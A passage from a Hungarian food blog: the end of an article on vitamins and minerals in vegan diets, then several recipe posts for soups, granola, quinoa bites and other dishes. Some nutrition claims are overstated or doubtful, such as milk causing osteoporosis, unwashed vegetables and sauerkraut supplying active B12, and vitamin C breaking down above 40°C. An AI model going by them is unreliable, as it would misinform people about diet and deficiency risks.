leszögezni, hogy B12 hiányban nem csak vegánok szenvedhetnek, hanem a mindenevők is. Aki nem tudja úgy megtervezni az étkezését, hogy elegendő B12-t vigyen be, annak B12 készítményt ajánlott szedni, melynek vásárlásakor érdemes odafigyelni, hogy a vitamin valamely aktív – a szervezet által felhasználható – formuláját tartalmazza a készítmény. Ilyen a hidroxo-kobalamin és ciano-kobalamin. Étrend kiegészítő vásárlása esetén a ciano-kobalamin tartalmút válaszd, mert azt a típust kifejezetten baktériumkultúrákból nyerik ki. Ez az egyetlen olyan vitamin típus melyet májunk elraktároz és az utolsó bevitel után még évekig adagolja azt a szervezetnek igény szerint. A felnőtt napi szükségletet 2 és 3 ug között határozták meg. (a B12 vitaminnak a későbbiekben egy teljes bejegyzést szentelek) A B12 aktív formáját minimálisan tartalmazó ételek és növények: kovászos uborka, savanyú káposzta, egyéb erjesztett ételek, bio gazdálkodásból származó mosatlan gyümölcsök és zöldségek. Vegán étrend és a C-vitamin: A vízben oldódó aszkorbinsav – vagy ahogy többen ismerik C-vitamin – nélkülözhetetlen vitamin típus szervezetünk számára. Vegán étrend esetén kifejezetten fontos a C-vitamin optimális napi bevitele, ugyanis segíti a vas felszívódását. Erős antioxidáns hatása miatt, csökkenti a degeneratív illetve a szív és érrendszeri betegségek kialakulásának kockázatát. Napi 120mg C-vitamin bevitele ajánlott egy egészséges szervezetnek, de betegség, nehéz fizikai munka, megerőltető sporttevékenység, dohányzás, illetve stresszes munka esetén napi 1000mg-ra emelhető a napi adag. A szervezet által fel nem hasznát C-vitamin kiürül oxálsav formájában, mely a húgykő egyik alkotóeleme, így magas C-vitamin bevitele estén sok vizet ajánlatos fogyasztani. Vigyázz a C-vitaminnal, mert 40° felett elbomlik! Így megfázás esetén nincs értelme a citromot forró teába tenni, hacsak nem az íze miatt teszed azt. Magas C-vitamin tartalommal bíró növények: paprika (120-300mg/100g), guáva (228,3mg/100g), kelbimbó (120mg/100g), kivi (92,6mg/100g), brokkoli (89,2mg/100g), eper (58,8mg/100g), papaja (60,9mg/100g), narancs (53,2mg/100g), mangó (60mg/100g), csipkebogyó, mandarin, citrom, grapefruit, mángold, spenót, áfonya, stb. Vegán étrend és a D-vitamin: A zsírban oldódó D-vitamin a másik olyan vitamin, melyet nagyon csekély mennyiségben lehet vegán étrenddel bevinni. Érdemes D-vitamin táplálékkiegészítőt szedni, ugyanakkor bőrszíntől függően napi 10-40 perc napozás is elegendő D-vitamint szabadít fel a szervezetben. Az utóbbi oka, hogy az UV sugárzás hatására a bőrsejtek alatt elhelyezkedő koleszterin D vitaminná alakul, majd sejtjeinkbe kerülve pedig stabilizálja örökítő anyagunkat a DNS-t, ezzel segítve a szervezetet a súlyos betegségek kialakulásával szemben. D-vitamin hiány következtében gyengül az immunrendszer, erősödik a depresszióra való hajlam, valamint fokozhatja a rákos betegségek és a szív- és érrendszeri betegségek kialakulásának kockázatát. Emellett a D-vitamin az egyik legfontosabb vitamin a terhes nők számára is, mivel fontos szerepet játszik az idegrendszer normális fejlődésében, valamint a sejtfejlődés és az immunrendszer működéséhez. Valamint ez az a vitamin, mely a bélből felvett kalciumot beépíti a csontokba és a fogazatba. A D-vitamin bevitel felső határát 1-3 éves kor között 2500NE-ben (62,5ug), 4-8 éves kor között 3000NE-ben (75ug), míg a többi korosztály esetében 4000NE-ben (100ug) maximalizálták. A napi minimumot pedig kb. 600NE-ben azaz 15ug-ban határozták meg. D-vitamint tartalmazó növények és ételek: gombák fajtától függően (5-12ug/100g), lenmagolaj, kakaóbab Vegán étrend és az E-vitamin: A zsírban oldódó E-vitamin egy könnyedén bevihető vitamin típusnak számít, mely antioxidáns hatású, erősíti az immunrendszert – kifejezetten idős korban –, óvja a szív és érrendszert, gátolja a sejtfalroncsolódást, valamint jótékony hatással bír az agyi működésre. Az ajánlott napi mennyiség felnőttek számára 15mg. Magas E vitamin tartalmú növények: főtt spenót (2,1mg/100g), mángold (3,2mg/180g), mandula (26,2mg/100g), mogyoró (4,3mg/28g), pirított napraforgó mag (36,3mg/100g), egyéb magvak és diófélék, avokádó (2,1mg/100g), olíva olaj (14,4mg/100g), kivi (1,5mg/100g), főtt brokkoli (1,5mg/100g), búzacsíra, teljes kiőrlésű gabonák, mangó, paradicsom, spárga Vegán étrend és K-vitamin: A zsírban oldódó K-vitaminnak nagy szerepe van a véralvadás optimális működésében, támogatja a csontok egészséges növekedését és erősíti azokat. K-vitamin hiány esetén egy egészen kicsi seb is sok ideig vérezhet, illetve egy kisebb ütés is komoly véraláfutásos fekete foltot okozhat a testen. Az ajánlott napi mennyiség 90-120?g között mozog felnőttek számára. Magas K vitamin tartalmú növények: chili por (105,7?g/100g), szárított bazsalikom (1714?g/100g), friss petrezselyem (65,6?g/5g), szárított zsálya (85,6?g/5g), egyéb zöld-fűszerek, főtt fodros kelkáposzta (817?g/100g), spenót (888?g/130g), mángold (572?g/130g), kerti saláta (48?g/130g), egyéb leveles zöldségek, brokkoli (217?g/100g), újhagyma (207?g/100g), zeller (29,6?g/100g), főtt kelbimbó (140,3?g/100g), uborka (76,7?g/100g), zöldborsó, fehérrépa, olívaolaj (60,2?g/100g), aszalt szilva (69,5?g/100g), aszalt áfonya (96?g/174g), aszalt barack (36,8?g/174g), egyéb aszalt gyümölcsök, erjesztett ételek, stb. Vegán étrend és a nyomelem bevitel Most vegyük sorra azokat az ásványi anyagokat, vagy másnéven nyomelemeket, melyek ugyancsak fontosak szervezetünk számára. Vegán étrend és cink bevitel: A cink fontos szerepet játszik immunrendszerünk erősítésében és könnyedén pótolható a vegán étrendet követők számára is. Fontos tápanyaga a szervezetnek, mivel többek között segíti a sebgyógyulást. A versenysport, a stressz, a tartós dohányzás és az alkoholfogyasztás azonban növeli a szervezet cink igényét. Az állati eredetű cink jobban hasznosul mint a növényi forrásból bevitt, szervezetünk napi igénye 8-13mg körül van életciklustól függően. Magas cinktartalmú növényi ételek: aszalt sárgabarack (1mg/100g), aszalt őszibarack (0,78mg/100g), aszalt szilva (0,75mg/100g), mazsola (0,66mg/100g), aszalt füge (0,55mg/100g), datolya (0,29mg/100g), egyéb aszalt gyümölcsök, avokádó (0,68mg/100g), kínai kel (3,75mg/100g), citronella (2,23mg/100g), aszalt paradicsom (1,99mg/100g), főtt shiitake gomba (1,33mg/100g), borsó (1,19mg/100g), valamint lencse, zabpehely, teljes kiörlésű gabonák, hüvelyesek, diófélék, magvak, kakaóbab, brokkoli Vegán étrend és a kalcium bevitele: Igyál sok tejet, attól erősödnek a csontjaid. - mondták nagyszüleink. Ehhez képest a legtöbb tejet Amerikában, Angliában, Finnországban és Svédországban isszák, a csontritkulás mégis ezekben az államokban a legelterjedtebb. Kutatások bizonyították, hogy a csontritkulás összefügg a túlzott tejfogyasztással. Az állati eredetű fehérjedús ételek – húsok, tejtermékek – savassá teszik a szervezetet, melyet a szervezet kalciumelvonással igyekszik semlegesíteni. Ezt a kalciumot a csontokból és a fogakból vonja el és a vizelettel ürül. Mindezen hatásokat ellensúlyozni lehet magas kalciumtartalmú növényi étrenddel és D-vitaminnal, mely a kalcium felszívódását segíti. Gyerekkorban napi 1200mg körül, felnőtt korban 800-1000mg körül van az ideális kalcium bevitel. Magas kalciumtartalommal az alábbi növények bírnak: főtt brokkoli (118mg/100g), főtt spenót (136mgmg/100g), káposzta (232mg/100g), kelpáposzta 205mg/100g), egyéb leveles zöldségek, tarlórépa (190mg/100g), cékla zöldje (117mg/100g), újhagyma (73mg/100g), póréhagyma (59mg/100g), főtt zöldbab (55mg/100g), articsóka (44mg/100g), édes burgonya (38mg/100g), répa (33mg/100g), rebarbara (86mg/100g), fekete ribiszke (55mg/100g), narancs (40mg/100g), füge (35mg/100g), kivi (34mg/100g), továbbá a mák, napraforgómag, szezámmag, petrezselyem, mandula, amaránt, köles, spirulina, chia mag, amaránt, melasz, baobab gyümölcs és számos egyéb zöldség és gyümölcs tartalmaz kalciumot Vegán étrend és magnézium bevitel: A magnézium segíti az idegrendszer működését, védi a szív és érrendszert, segít megelőzni a szívbetegségeket és csökkenti az agyvérzés kockázatát. Ez az ásványi anyag sokkal nagyobb mennyiségben található növényi eredetű táplálékban mint állati eredetűben. Emelkedett magnézium igény lép fel terhesség, versenysport és lábadozó szervezet esetében. Felszívódását a B6 vitamin segíti, az ajánlott napi mennyiség 300-400mg körül van. Fogyókúra és alkoholizmus esetén is megnövekedik a szervezet magnézium igénye, illetve magnézium hiány léphet fel, mely ingerlékenységgel, szorongással, enyhébb alvászavarokkal jár. Magas magnézium tartalmú növények: nyers spenót (79mg/100g), főtt fodros kel (76mg/38g), főtt mángold (152mg/38g), egyéb leveles zöldségek, szezámmag (252mg/59g), tökmag (534mg/100g), mandula (196mg/59g), kesudió (177mg/59g), egyéb magvak és diófélék, főtt fehérbab (92mg/172g), főtt csicseriborsó (80mg/172g), főtt feketebab (92mg/172g), egy babfélék és hüvelyesek, quinoa (120mg/195g), barnarízs (44mg/100g), bulgur (60mg/195g), zab (28mg/195g), avokádó (29mg/100g), banán (27mg/100g), aszalt füge (68mg/100g), aszalt szilva (44mg/75g), aszalt sárgabarack (40mg/75g), egyéb aszalt gyümölcsök, tiszta fekete csokoládé (327mg/100g), valamint sütőtök, hínár, brokkoli, kávébab, gyökérzöldségek Vegán étrend és a vas bevitel: A vas az oxigénszállításért felel a szervezetben és alkotóeleme a hemoglobinnak, így ha nincs elég a szervezetben akkor vérszegénység alakul ki. Sokan “féltik” a vegánokat a vashiánytól, mivel az a tévhit alakult ki, hogy a vegetáriánus vagy vegán étrendet követők komoly vashiánnyal küszködnek. Ez általánosítva tévedés. Még annak ellenére is, hogy a húsokból bevitt vas nagyobb hatékonysággal szívódik fel, mint a növényi alapú. (40% kontra 10% az arány) Ugyanakkor a növények magas szerves sav – mint pl. aszkorbinsav – és flavonoid tartalma, valamint a szervezet magas szinten tartott aszkorbinsav szintje is segíti a vas felszívódását. (Az előző megállapításokkal kapcsolatban nem találtam semmilyen kutatási eredményt.) Az emberek vasigénye nagyban függ nemüktől, életciklusoktól, életvitelüktől és koruktól. Míg a férfiaknak napi 8mg körüli a vasigényük, addig a nőknek serdülő kortól 14-15mg-ra növekszik. A gyermek szervezet vas igénye sem marad el túlzottan a felnőtt férfiakétól a maga 7-8mg-jával. Vas tartalommal bíró növényi ételek: tökmag (15mg/100g), napraforgónap (1,98mg/100g), szezámmag (4,14mg/100g), egyéb magvak és diófélék (5-6mg/100g), őrölt kakaóbab (17mg/100g), tofu (2,7mg/100g), kucsmagomba (12,18mg/100g), főtt shiitake gomba (5,4mg/66g), laskagomba (6,2mg/66g), egyéb gombák, aszalt sárgabarack (6,31mg/100g), aszalt füge (3,06mg/119g), mazsola (4,43mg/119g), olívabogyó (3,32mg/119g), főtt lencse (6,6mg/179g), főtt szójabab (8,82mg/179g), főtt feketebab (3,6mg/179g), főtt pinto bab (3,6mg/179g), egyéb hüvelyes növények, quinoa (2,8mg/185g), zabpehely (2,16mg/185g), bulgur (1,8mg/185g), barnarizs (1,9mg/185g), köles (1,08mg/185g), valamint egyéb gabonák, főtt spenót (6mg/180g), főtt mángold (3,96mg/180g), kelkáposzta (1,08mg/180g), szeder (2,59mg/140g), bodza (2,56mg/140g), málna (1,7mg/140g), eper (1,08mg/140g), egyéb erdei gyümölcsök, kókusz (3,32mg/100g), póréhagyma (2,1mg/100g) rukkola (1,46mg/100g), melasz, mák, szilva, körte, retek, brokkoli, avokádó, spárga, cékla, birsalma, citrom, szőlő, sárgadinnye, banán, stb. Vegán étrend és egyéb tápanyagok Vegán étrend, az omega-3 és egyéb zsírsavak Az omega-3 zsírsavak idegi alapú betegségek, szív és érrendszeri betegségek, valamint gyulladások kialakulásának megelőzésében játszanak fontos szerepet. Az omega-3 egy telítetlen zsírsav, melynek a szervezet által elvárt napi minimális igényét fél mokkáskanálnyi lenmagolaj fedezi. Omega-3 források: hidegen préselt lenmagolaj (53449mg/100g), (a lenmag kb. 2x több omega-3-at tartalmaz mint a halolaj), chia mag, kínai egres, vörösáfonya, sárgarepce, fekete málna, porcsin, diófélék, leveles zöldségek Omega-6 források: repceolaj, olívaolaj, földimogyoróolaj, tökmagolaj, napraforgóolaj, ligetszépe olaj, borágó olaj, kendermag olaj Vegán étrend és a rosttartalom A rostok szénhidrátok, melyek nem emésztődnek meg teljesen és nem szívódnak fel. Lassítják és gátolják a toxinok valamint a szükségtelen anyagok felszívódását, gyorsítják az emésztést és mozgásban tartják a bélrendszert. Rostokat semmilyen állati eredetű étel és semmilyen finomított gabona (finomliszt) nem tartalmaz. Források: https://ods.od.nih.gov http://www.ncbi.nlm.nih.gov https://nutritionj.biomedcentral.com/ http://nutritionfacts.org http://jissn.biomedcentral.com/ http://www.healthaliciousness.com www.oeti.hu
Gluténmentes császármorzsa
2016. február 5. Éltető ételek
Amennyiben gluténérzékeny vagy, akkor sem kell lemondanod a császármorzsáról. Készítsd el bátran, nem fogsz csalódni benne. A párom ötlete - amit legközelebb ki is fogunk próbálni -, hogy lekvár helyett olvasztott csokit csorgatunk rá, és tejszínhab kerüljön a tetejére. Hmmm... jól hangzik. :) Hozzávalók (1 nagy adag, vagy 2 kisebb) - 10 dkg kukoricadara (apró szemű, akár picit meg is darálhatjuk a kölessel) - 10 dkg köles darálva - 2 házi vagy bio tojás - 2 dkg vaj - 3-4 dkg méz - 3 dl rizstej - 1/2 kávéskanál vaníliapor - bio, reszelt citromhéj - csipet só sütéshez: 1 evőkanál kókuszolaj, 1 evőkanál kókuszvirágcukor tetejére: baracklekvár Elkészítése: A puha vajat keverjük ki a tojás sárgájával és a mézzel. Adjuk hozzá a fűszereket és a tejet.Szórjuk bele a gabonákat, és hagyjuk állni úgy 1 órát.A tojás fehérjét verjük fel kemény habbá, és lazán forgassuk a tésztába. (Ne ijedj meg, elég híg a massza, de a sütés során a gabona felszívja a nedvességet.)Egy nagy kerámia serpenyőt melegítsünk fel a kókuszolajjal, majd öntsük bele a masszát. Kb. 30 perc alatt meg fog sülni. Nem kell nagyon kevergetni, elég úgy 5 percenként. Ugyanis akkor nagyon morzsás lesz, ami túlságosan ropogós és száraz.Jó étvágyat!
Zöldséges rizs
2016. február 4. Éltető ételek
Ez egy igazán nagyon egyszerű recept, 30 perc alatt már tálalható is. Önmagában is finom, de grillezhetsz hozzá gombát, padlizsánt vagy éppen kápia paprikát. De ha csak pirított napraforgómaggal vagy tökmaggal szórod meg, úgy is nagyon finom lesz. Ehhez a recepthez parbeloid rizst használok, melyről itt olvashatsz. Kedvenc zöldségedet tedd bele, nekem sárgarépa, fehérrépa, paszternák, zöldborsó és brokkoli mindig van benne. Ezenkívül, ha éppen van itthon, akkor kerül bele szárzeller, vagy zellergumó, de tehetsz bele kukoricát vagy éppen zöldbabot is. Hozzávalók (2-3 adag) - 1 vöröshagyma - 2-3 gerezd fokhagyma - 1 evőkanál kókuszolaj - 2 sárgarépa - 1 petrezselyemgyökér - 1 paszternák - 2 marék zöldborsó - 1/3 brokkoli - 1 kis csésze parbeloid rizs - zöldfűszerek kedvünk szerint: a kedvencem a váraljai medvehagyma és a petrezselyem (persze, ha van friss, úgy a legjobb) - só, bors Elkészítése: A kókuszolajon dinszteld meg a felkockázott hagymát, és reszeld bele a fokhagymát is. Pár perc elteltével dobd rá a felkockázott zöldségeket ( a brokkoli kivételével).Kb. 5 percig lassú tűzön pirítsd, majd önts rá egy kevéske vizet. Ekkor add hozzá a brokkolit. Fűszerezd, és lefedve párold készre. Én szeretem, ha egy kicsit roppanós, kb. 5 perc alatt el is készül.Közben a rizst főzd meg 2,5x mennyiségű vízben. Kb. 25 perc alatt el is készül. Lassú tűzön, lefedve főzd, melybe természetesen só is kerül.A zöldséghez keverd hozzá a rizst, és pirítsd össze pár perc alatt.A végén szórd meg zöldfűszerrel.
Kakaós granola
2016. február 1. Éltető ételek
Igazi kakaós müzli a bolti cukros pelyhek helyett. Elég nagy adag, de jól záródó dobozban, üvegben sokáig eláll. Öntsetek rá növényi tejet, és már lehet kanalazni is. Az ötlet innen származik. A kakaópor mennyiségét csökkentettem, és több diót tettem hozzá. Hozzávalók: Száraz összetevő: - 3 bögre nagyszemű zabpehely - 1 bögre aprószemű zabpehely - 1 bögre kókuszreszelék - 2 bögre áztatott/szárított dió - 1/2 bögre arany lenmag - egy csipet só - 1 kávéskanál vaníliapor Nedves összetevő: - 2 evőkanál cukrozatlan kakaópor - 1/3 bögre kókuszolaj (olvasztva) - 4-5 evőkanál méz - 5-6 csepp narancsolaj vagy bio, reszelt narancshéj Elkészítése: A száraz összetevőket keverjük össze egy tálba.A kókuszolajat olvasszuk fel, majd keverjük hozzá a kakaóport, a mézet és a narancsolajat.Öntsük a zabpelyhes keverékhez, és jól forgassuk össze.A sütőt melegítsük össze 160 fokra, majd a kakaós keveréket tegyük egy zsírpapírral bélelt tepsibe.30 percig süssük, ezidő alatt 2-3 alkalommal keverjük fel.Vegyük ki a sütőből, és hagyjuk kihűlni, de ekkor már ne kevergessük, mert akkor nem lesz darabos a müzli.Ha kihűlt, tegyük jól záródó dobozba.
Ha üres a kamra
Kétségtelen, de a zöldségalapú táplálkozásnak a legnagyobb kihívás a téli hónapok. A napfényes órák száma minimális, a friss levegőn való szabad mozgás korlátokba ütközik és mellé még ott van plusz frusztrációnak az egyre üresedő kamrapolc. Ebben a színtelenségben kénytelenek vagyunk ökológia lábnyomunkat növelve olyan termékeket is megvásárolni, ami több ezer (tízezer!) kilómétert utazott a multi polcáig, vagy?! Válasszuk a B verziót! Főzzünk tápláló ételt abból amink van a konyhatechnika és a fűszerek változatosságát kihasználva. Három könnyen beszerezhető alapanyagot választottam ennek bemutatására: cékla, burgonya és alma a hozzávalóim. Nem kell megijedni, nem bébipürét fogunk készíteni belőlük! Az innováció az egyik kedvenc játékom, (nem csak) a konyha területén, amikor egy régi, hagyományos ételt új, táplálkozástudományi alapon korszerűbb konyhatechnikával készítünk el, a fantáziánkat is igénybe véve, ízeket, fűszereket harmóniába állítva, ügyelve a részletekre. Nyilván az ízlés szubjektív dolog, így a recept legyen puszta útmutatás, ahogy én szeretem. A régi étel, amit megújítunk nem más, mint a beré, tócsni, krumplilángos... azt hiszem ezt az ételt, ahány konyha, annyi elnevezés illeti. Internetes barátunk szerint : ,, A legvalószínűbb feltételezés szerint a tótlángos névből alakulhatott ki a tócsni név, ami Magyarországon a lapcsánka név után a legelterjedtebb. Az alaprecept a legszegényesebb időket idézi, de a népi találékonyság mindig azzal egészítette ki, amihez éppen hozzá tudott jutni. A korszerű táplálkozás kevésbé preferálja a bő zsiradékban sütést, mint konyhatechnikai folyamatot. Sajnos ennek az ételnek a készítése során az alapanyagok nagy mennyiségben magukba szívják az olajat és ezen a papírtörlővel való leitatás sem segít. Próbáljuk ki a sütőpapírral bélelt sütőlemezen való elkészítést. Meglepő, de nem lesz száraz a végeredmény, a lepények átsülnek, ropogósak és egyben könnyebben emészthetőbbek a szervezetünk számára. Burgonyalepény hozzávalói (4 főre): - 50 dkg burgonya - 10 cm-es darab póréhagyma - 8 dkg rizsliszt - 1 tojás ( pár ek. vízzel kiváltható ) - só, bors, frissen őrölt szerecsendió - 1 dkg vaj vagy kókuszzsír Céklás hummusz: - közepes sült cékla - 1 gerezd fokhagyma - 1 ek. extra szűz olívaolaj - 1/2 tk. római kömény - 10 dkg főtt csicseriborsó - 1 ek. tahini paszta ( vagy száraz serpenyőben megpirított szezámmag ) - 1 tk. citromlé - só, frissen őrölt bors - víz Forró fahájas alma: - 2 alma - 1 ek. méz - 1 tk. kókuszolaj vagy vaj - őrölt fahéj Tálaláshoz hirtelen sütött zsályaleveleket javaslok. Hámozzuk meg a burgonyát és ha nem ipari mennyiséget készítünk, akkor a nagy lyukú reszelő helyett válasszuk a julienne=gyufaszálra darabolást. Az eredmény egy szofisztikáltabb küllemű lepény lesz. A hagymát is vágjuk apró kockákra. Egy tálba keverjük össze a liszttel, tojással és fűszerekkel, majd kb. 10 cm átmérőjű lepényeket formázzunk vizes kézzel és sorakoztassuk a sütőlemezre. Minden egyes lepény közepére tegyünk egy kis darab vajforgácsot, majd mehet 20-25 percre a 175 fokra előmelegített sütőbe. Aki megfogadta a rovat eddig megjelent számainak praktikáit, az most a hűtőből előveszi a sült céklát, mert ahogy már mondottam, annak minden hűtőben lenni kell... Ennek elmulasztása esetén a céklát alaposan tisztítsuk meg a föld szennyeződéstől és csomagoljuk be alufóliába. Süssük 60-70 percig 200 fokon. Ez így nem túl gazdaságos folyamat, ezért is érdemes megfogadni, hogy a hétvégi konyhaüzemben, amikor több étel, sütemény készül, ugyanezen hőmennyiséggel a sült céklák is elkészülhetnek, az egyéb ételek mellett. A kihűlt céklákat megpucoljuk és a többi hozzávalóval egy tölcséres turmixban simára járatjuk. Vizet apránként adagoljuk hozzá, kizárólag annyit, amennyi a krémes állaghoz szükséges. Az almát vágjuk gerezdekre, majd keresztbe vékony szeletekre. Egy teflon serpenyőben olvasszuk fel a zsiradékot és dobjuk rá az almát, szórjuk meg bőségesen fahéjjal. Az almákat kb. öt perc alatt pirítsuk meg, a végén csurgassuk rá a mézet. Forrón tálaljuk a burgonya lepények mellé halmozva. Egyszerű és színes fogás ebben a szürke télben. Jó étvágyat hozzá! forrás: Krautkopf ?
Karfiolkrémleves tökmaggal
2016. január 28. Éltető ételek
Nagyon szeretem a krémleveseket, bármilyen zöldségből el lehet készíteni. Mi van a spájban kérdésre néhány napja ez a leves készült. Mindenképp készítsétek el, nagyon finom. Most, így télen nehezebb friss fűszernövényhez hozzájutni, nekem nagyon beváltak a váraljai fűszerek. Hozzávalók (2-3 adag) - 1/2 kisebb fej karfiol - 1 sárgarépa - 1 petrezselyemgyökér - 1 kis fej vöröshagyma - 2 közepes burgonya - 1 kis evőkanál kókuszolaj - zabtejszín vagy valódi (cserpes) tejszín - himalája só, bors, csipet szerecsendió - zöldfűszerek: petrezselyem, medvehagyma - pirított tökmag a tetejére Elkészítése: A kókuszolajon kezdd el az apró kockára vágott hagymát dinsztelni. Pár perc elteltével dobd rá a felkarikázott zöldségeket és a kockára vágott burgonyát. Majd mehet hozzá a rózsáira szedett karfiol is.Pirítsd a zöldségeket együtt néhány percig, majd öntsd fel vízzel. Figyelj oda, ez krémleves lesz, inkább utólag önts hozzá vizet, minthogy nagyon híg legyen. Fűszerezd.Kb. 20 perc alatt puhára fő, majd engedd neki a botmixert.Add hozzá a zöldfűszereket és löttyints bele egy kis tejszínt.A tetejét díszítsd pirított tökmaggal vagy mandulával. Kedvenc fűszereim beszerzési helye: Váraljai medvehagymaVáraljai petrezselyem
Bolgár bableves
2016. január 24. Mindennapi ételeink
Fanni hála Istennek rajong a babért, lencséért, vörös lencséért, sárgaborsóért. Akár főzelék, akár leves formában jöhetnek ezek a dolgok. Most fehér babból készült leves nálunk. Hozzávalók: 20 dkg fejtett bab 1 nagy fej vöröshagyma 1 sárgarépa 1 kápia paprika 2 paradicsom 1 közepes burgonya 1/2 zeller 2 ek. kókuszzsír 1 csokor petrezselyem 2 tk. pirospaprika 2 ek. paprikakrém 1 leveskocka 2 ek. levespor és ételízesítő 1 rozmaringág (2-3 tk. morzsolt rozmaring) Elkészítés: A babot Fannival előző este beáztattuk. Egy nagy edényben a kókuszolajat megolvasztjuk és a hagymát rákockázva megdinszteljük. Hozzáadjuk a babot, pirospaprikát, leveskockát, ételízesítőt és vízzel felengedve kb. 40 percig főzzük. Ekkor hozzáadjuk a kis kockára vágott paprikát, zellert, krumplit, paprikát. Amikor az összes zöldség megpuhult, a paradicsomot és paprikakrémet is hozzáadjuk, ill. a petrezselyme és rozmaringot.
Narancskrémes csokis kocka
Csoki-narancs nálam mindig nyerő páros, de ez a krémes változat túl tesz az eddigieken ;) Hozzávalók az alaphoz: 1 csészényi csíráztatott nyers hajdina 1/2 csészényi áztatott dió 1 ek méz 1/2 bio citrom reszelt héja 1 ek Holland kakaópor 1 csipet vanília 1 ek kókuszolaj A hozzávalókat robotgéppel krémesre dolgoztam, majd elterítettem egy szilikonlapon, és […]
Almás-fahéjas Quinoa falatok (gluténmentes, laktózmentes, tojásmentes, vegán)
almás-fahéjas quinoa falatok (glutén-, laktóz-, és tojásmentes, vegán) Veletek is rendszeresen előfordul, hogy túl sok gabonát főztök ki köretnek, és végül nem fogy el? Nem szeretek ételt kidobni, úgyhogy próbálom megtalálni az újrafelhasználás lehetőségeit! Ez a recept is így született! Minden a maradék quinoával kezdődött... majd a téli fűszerekkel folytatódott... és az almával végződött. ;-) A maradék kuszkuszból gyakran készül friss zöldséggel gazdagítva kuszkusz saláta, a kölest tölthetjük cukkini hajókba, a maradék amarántból készíthetünk sajtos tallért, a rizsből pedig sós muffinokat. (Ehhez receptet hozok a későbbiekben a Zöld Avocado vegetáriánus gasztroblogra.) A legutóbbi gombapörkölt mellé túl sok quinoát főztem ki, így 2 az 1-ben módszerrel, a gomba pörkölt mellé készült köretből, egyből lett egy kis délutáni nasi is. :-) almás-fahéjas quinoa falatok (glutén-, laktóz-, és tojásmentes, vegán)Ha egészségesen szeretnénk táplálkozni, fontos szem előtt tartanunk a VÁLTOZATOSSÁGot az alapanyagok felhasználásában. Így biztosíthatjuk, hogy a szükséges tápanyagokhoz, vitaminokhoz, ásványianyagokhoz, nyomelemekhez hozzájut a szervezetünk. A változatosság a köreteket is érinti. A számunkra jól ismert rizs mellett rengeteg, sokkal táplálóbb és értékesebb gabonafélét kínál fel számunkra a természet. Nekünk csak meg kell őket találni, és elfogadni! ;-) Ilyen például a köles, az árpagyöngy, a hajdina, az amaránt és a quinoa is, melyeket gluténérzékenyek is bátran fogyaszthatnak! A bulgur, a kuszkusz glutén tartalma miatt már nem mindenki számára javasolt. tarka quinoa: csontszínű, vörös, fekete "Miért érdemes quinoát enni? - A quinoa az egyik legtöbb ásványi anyagot és tápanyagot tartalmazó, legtáplálóbb gabona, nem hiába tartották az inkák a ,,Magok Anyjának. Rengeteg fontos vitamint tartalmaz: B-vitaminokat (B1, B2, B3), C-, E-vitamint és ß-karotint. (Ez utóbbi három fontos antioxidáns, tehát jelentősen hozzájárul a káros szabad gyökök hatástalanításához, ezért sportolók számára különösen ajánlható, valamint a daganatmegelőző étrendnek is hasznos összetevője is lehet.) Az ásványi anyagok közül különösen gazdagmagnéziumban, kalciumban, vasban, káliumban, illetve foszforban és cinket is tartalmaz. Ezzel a magas ásványi anyag tartalmával jó pár gabonafélét túlszárnyal (búza, árpa, zab, rizs). - Lassan lebomló szénhidrátforrás, sok rosttal. Cukorbetegek, székrekedéssel küzdők, fogyókúrázók, kismamák, idősek számára is javasolható. Méregtelenítő kúrák nagyszerű alkotóeleme lehet. - Minden esszenciális aminosavat tartalmaz. Igen figyelemreméltó a lizin, cisztin és metionin tartalma. Fehérjetartalma 13,3-15,2%. Összehasonlításul a rizs fehérjetartalma 7,4 %, a búzáé pedig 11,7 %. Vegetáriánusoknak, vegánoknak különösen ajánlott, bátran helyettesíthetőek vele az állati fehérjék. - Gluténmentes, ezért lisztérzékenyek is fogyaszthatják. - Lúgosító hatással is bír, e tekintetben a vadrizshez, az amaránthoz és a csíráztatott magvakhoz hasonló. - Zsírtartalma a gabonaféléknél nagyobb, főként telítetlen zsírsavakból tevődik össze." Forrás: antalvali.hu almás-fahéjas quinoa falatok (glutén-, laktóz-, és tojásmentes, vegán) HOZZÁVALÓK (kb. 12 db 5 cm átmérőjű kupachoz) 1/2 bögre quinoa1 bögre tiszta víz2 db közepes alma lereszelve3 ek barna nádcukor (egyéb tetszés szerinti édesítőszer)csipet Himalája só2 ek őrölt fahéj, 1/2 tk őrölt szerecsendió, késhegynyi őrölt szegfűszeg5 ek lenmagliszt vagy mandulaliszt(elhagyható - 2 ek chia mag) almás-fahéjas quinoa falatok (glutén-, laktóz-, és tojásmentes, vegán) ELKÉSZÍTÉSA quinoát megfőzzük kétszeres mennyiségű vízben, fedővel, kb. 20 perc alatt. A megfőtt gabonához hozzáadjuk a fűszereket, a sót, a reszelt almákat, a választott lisztet, és alaposan összekeverjük. Hagyjuk egy fél órát állni a tésztát, majd fagyi adagoló kanállal kis kupacokat helyezünk egy muffin sütőbe (amit előtte vékonyan kikentünk kókuszolajjal). 180 °C fokra előmelegített sütőben kb. 15 perc alatt készre sülnek a fahéjas quinoa falatok. Ha belefér a diétánkba, és kicsit látványosabbá szeretnénk tenni a barnás kupacokat, akkor olvasszunk fel vízgőz felett étcsokoládét és fehér csokoládét, majd mártsuk a quinoa falatok tetejét az olvadt csokikba. Tegyük őket a hűtőbe, hogy jól rádermedjen a csokoládé. De természetesen a csoki nélkül is fogyasztható délutáni nasinak, vagy akár másnap reggelinek. A munkahelyre és az iskolába is könnyedén magunkkal tudjuk vinni ezeket a falatnyi tápláló energiabombákat. almás-fahéjas quinoa falatok (glutén-, laktóz-, és tojásmentes, vegán) Táplálkozz ne csak étkezz a Zöld Avocado receptek segítségével! ;-)
Földimogyoróvajas-csokoládés zabkeksz (vegán)
2016. január 13. Zizi kalandjai
Ezeket a kekszeket az elmúlt egy hétben kétszer is megsütöttem. Most, hogy ugye újra szoptatok és nem ehetek magas fehérje tartalmú hüvelyeseket, így maradnak a magok, magvajak, amikkel növelni tudom a fehérje bevitelemet, na és ott van az ebben a kekszben szereplő zabpehely is, ami ráadásul tejserkentő. Erre mondják, hogy win-win kategória. Na persze éhes is vagyok rendesen, hiába eszem nagy adagokat. Szóval az ilyen édes, kényeztető nasik – mint ez a keksz – adják a nap egyik fénypontját.
